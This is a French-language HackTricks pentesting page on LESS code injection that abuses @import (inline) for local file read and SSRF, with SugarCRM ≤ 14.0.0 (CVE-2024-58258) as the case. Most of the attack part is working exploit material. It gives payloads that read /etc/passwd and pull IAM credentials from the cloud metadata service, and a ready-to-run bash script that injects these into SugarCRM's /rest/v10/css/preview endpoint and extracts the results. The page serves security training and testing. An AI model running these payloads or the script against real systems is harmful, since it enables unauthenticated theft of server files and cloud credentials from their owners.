LESS Code Injection leading to SSRF & Local File Read
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
LESS est un préprocesseur CSS populaire qui ajoute des variables, des mixins, des fonctions et la puissante directive @import. Lors de la compilation, le moteur LESS va récupérer les ressources référencées dans les instructions @import et intégrer (“inline”) leur contenu dans le CSS résultant lorsque l’option (inline) est utilisée.
Lorsqu’une application concatène des données contrôlées par l’utilisateur dans une chaîne qui est ensuite analysée par le compilateur LESS, un attaquant peut injecter du code LESS arbitraire. En abusant de @import (inline), l’attaquant peut forcer le serveur à récupérer :
- Des fichiers locaux via le protocole
file://(divulgation d’informations / Local File Inclusion). - Des ressources distantes sur des réseaux internes ou des services de métadonnées cloud (SSRF).
Cette technique a été observée dans des produits réels tels que SugarCRM ≤ 14.0.0 (point de terminaison /rest/v10/css/preview).
Exploitation
- Identifiez un paramètre qui est directement intégré dans une chaîne de feuille de style traitée par le moteur LESS (par ex.
?lm=dans SugarCRM). - Fermez l’instruction actuelle et injectez de nouvelles directives. Les primitives les plus courantes sont :
;– termine la déclaration précédente.}– ferme le bloc précédent (si nécessaire).
- Utilisez
@import (inline) '<URL>';pour lire des ressources arbitraires. - Injectez éventuellement un marqueur (
data:URI) après l’import pour faciliter l’extraction du contenu récupéré depuis le CSS compilé.
Local File Read
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
Le contenu de /etc/passwd apparaîtra dans la réponse HTTP juste avant le marqueur @@END@@.
SSRF – Cloud Metadata
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
PoC automatisé (exemple SugarCRM)
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
Cas réels
| Produit | Endpoint vulnérable | Impact |
|---|---|---|
| SugarCRM ≤ 14.0.0 | /rest/v10/css/preview?lm= | Unauthenticated SSRF & local file read |
Références
- SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability
- SugarCRM Security Advisory SA-2024-059
- CVE-2024-58258
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks

